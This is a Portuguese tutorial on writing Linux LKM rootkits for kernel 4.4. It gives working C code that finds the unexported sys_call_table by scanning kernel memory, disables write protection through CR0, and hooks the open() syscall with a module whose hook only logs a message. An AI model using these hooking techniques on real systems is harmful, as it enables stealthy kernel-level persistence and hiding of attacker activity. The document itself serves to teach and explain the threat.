Introdução
Rootkits são programas tipicamente maliciosos que visam ficar ocultos no sistema, designados geralmente para esconder a existência de certos processos e/ou programas dos métodos normais de detecção ou permitir acesso privilegiado ao sistema.
O termo rootkit é a concatenação de “root”, tradicionalmente o nome da conta privilegiada no sistema operacional UNIX e a palavra “kit”, que se refere aos componentes de software que foram implementados na ferramenta.
LKM Rootkits
Loadable Kernel Modules(LKM) são módulos utilizados para expandir as funcionalidades e que podem ser carregados dinamicamente sem a necessidade de recompilação do kernel, são geralmente drivers, filesystems ou system calls.
LKM Rootkits são módulos de kernel que funcionam geralmente ‘hookando'(sequestrando) system calls, esta técnica foi popularizada em 1999 quando o grupo The Hackers Choice(THC) publicou um artigo que ficou conhecido como LKM HACKING[2].
Hookando syscalls um atacante pode esconder arquivos, diretórios ou processos, monitorar operações de arquivos etc.
LKM Rootkit para o kernel linux atual
Houveram muitas mudanças no kernel linux desde a publicação do artigo LKM HACKING do grupo THC, isso afeta como os rootkits são escritos, então para escrever rootkits para os kernels atuais devemos atentar para estas modificações.
Implementando, o que mudou?
A partir do kernel linux 2.6 em diante, temos que atentar que:
- Syscall table não é exportada -> Para hookarmos alguma syscall temos que encontrar o endereço da syscall table na área de memória do kernel
- Syscall table não possui permissão de escrita -> Para hookarmos a syscall temos que alterar o endereço da syscall na syscall table, para isso precisamos modificar a permissão da mesma
Obs: Os testes foram realizados no kernel linux 4.4.0
Achando a syscall table
Para hookar uma determinada syscall precisamos mudar o endereço da syscall na sys_call_table. Antes do kernel linux 2.6 o endereço da syscall table costumava ser exportado, agora não é mais, então precisamos encontrá-lo. Uma maneira de fazer isto é olhar no arquivo System.map.
# grep sys_call_table /boot/System.map-4.4.0-22-generic c17ac180 R sys_call_tableAchando a syscall table dinamicamente
Olhar o System.map e encontrar o endereço da syscall table, para então modificar o código fonte do rootkit em cada compilação de kernel não é muito pratico.
Para solucionar este problema podemos encontrar o endereço da syscall table dinamicamente, isso pode ser feito buscando por uma determinada syscall na área de memória do kernel, vejamos como[3]:unsigned long * get_syscall_table_bf(void) { unsigned long *syscall_table; unsigned long int i; for (i = START_MEM; i < END_MEM; i += sizeof(void *)) { syscall_table = (unsigned long *)i; if (syscall_table[__NR_close] == (unsigned long)sys_close) return syscall_table; } return NULL; }Permissões
Como já dito, para hookar uma syscall precisamos alterar o endereço da syscall na sys_call_table, a partir do kernel linux 2.6 a sys_call_table não possui permissão de escrita, isso significa que temos que mudar as permissões da área de memória, podemos fazer isto utilizando write_cr0().
static inline void protect_memory(void) { write_cr0(cr0); } static inline void unprotect_memory(void) { write_cr0(cr0 & ~0x00010000); }Hookando uma syscall
Após encontrar o endereço da sys_call_table e alterar as permissões, podemos hookar alguma syscall.
Para isso, basta modificar o endereço da syscall desejada na sys_call_table para o endereço da nossa syscall, mas antes precisamos salvar o endereço original da syscall, para podermos restaurá-la ao remover o módulo e também para utilizarmos a syscall em nossa syscall modificada, vejamos como isso ficaria:sys_call_table = (unsigned long *)get_syscall_table_bf(); if (!sys_call_table) { printk(KERN_INFO "sys_call_table not fount"); return -1; } cr0 = read_cr0(); orig_open = (orig_open_t)sys_call_table[__NR_open]; unprotect_memory(); sys_call_table[__NR_open] = (unsigned long)hacked_open; protect_memory();Agora vejamos um o exemplo de uma syscall open() modificada:
asmlinkage static int hacked_open(const char __user *pathname, int flags, mode_t mode) { printk(KERN_INFO "sys_open() hook!n"); return orig_open(pathname, flags, mode); }No exemplo acima, toda vez que a syscall open for chamada, na verdade quem será executada é a hacked_open. A hacked_open executa um printk com a mensagem “sys_open() hook!” e retorna chamando a syscall open original.
Colocando tudo junto
Vejamos o código completo[4]:
#include <linux/module.h> #include <linux/kernel.h> #include <linux/unistd.h> #include <asm/pgtable.h> #include <linux/slab.h> #include <linux/syscalls.h> unsigned long cr0; static unsigned long *sys_call_table; typedef asmlinkage long (*orig_open_t)(const char *, int, mode_t); orig_open_t orig_open; #define START_MEM PAGE_OFFSET #define END_MEM ULONG_MAX unsigned long * get_syscall_table_bf(void) { unsigned long *syscall_table; unsigned long int i; for (i = START_MEM; i < END_MEM; i += sizeof(void *)) { syscall_table = (unsigned long *)i; if (syscall_table[__NR_close] == (unsigned long)sys_close) return syscall_table; } return NULL; } /* sys_open hook */ asmlinkage static int hacked_open(const char __user *pathname, int flags, mode_t mode) { printk(KERN_INFO "sys_open() hook!n"); return orig_open(pathname, flags, mode); } static inline void protect_memory(void) { write_cr0(cr0); } static inline void unprotect_memory(void) { write_cr0(cr0 & ~0x00010000); } static int __init syshook_init(void) { sys_call_table = (unsigned long *)get_syscall_table_bf(); if (!sys_call_table) { printk(KERN_INFO "sys_call_table not fount"); return -1; } cr0 = read_cr0(); orig_open = (orig_open_t)sys_call_table[__NR_open]; unprotect_memory(); sys_call_table[__NR_open] = (unsigned long)hacked_open; protect_memory(); return 0; } static void __exit syshook_cleanup(void) { if (orig_open) { unprotect_memory(); sys_call_table[__NR_open] = (unsigned long)orig_open; protect_memory(); } } module_init(syshook_init); module_exit(syshook_cleanup); MODULE_LICENSE("Dual BSD/GPL"); MODULE_AUTHOR("Victor Ramos Mello"); MODULE_DESCRIPTION("A sys_call_table hooking example");Após o hooking da syscall, sempre que a syscall open for chamada a menssagem “sys_open() hook!” poderá ser vista ao rodar o comando dmesg.
Conlusão
Hooking de syscalls através de LKM Rootkits ainda é uma ameaça real para a segurança dos sistemas, podendo ser utilizado por atacantes desde que levem em consideração as mudanças do kernel linux ao longo do tempo.
Referências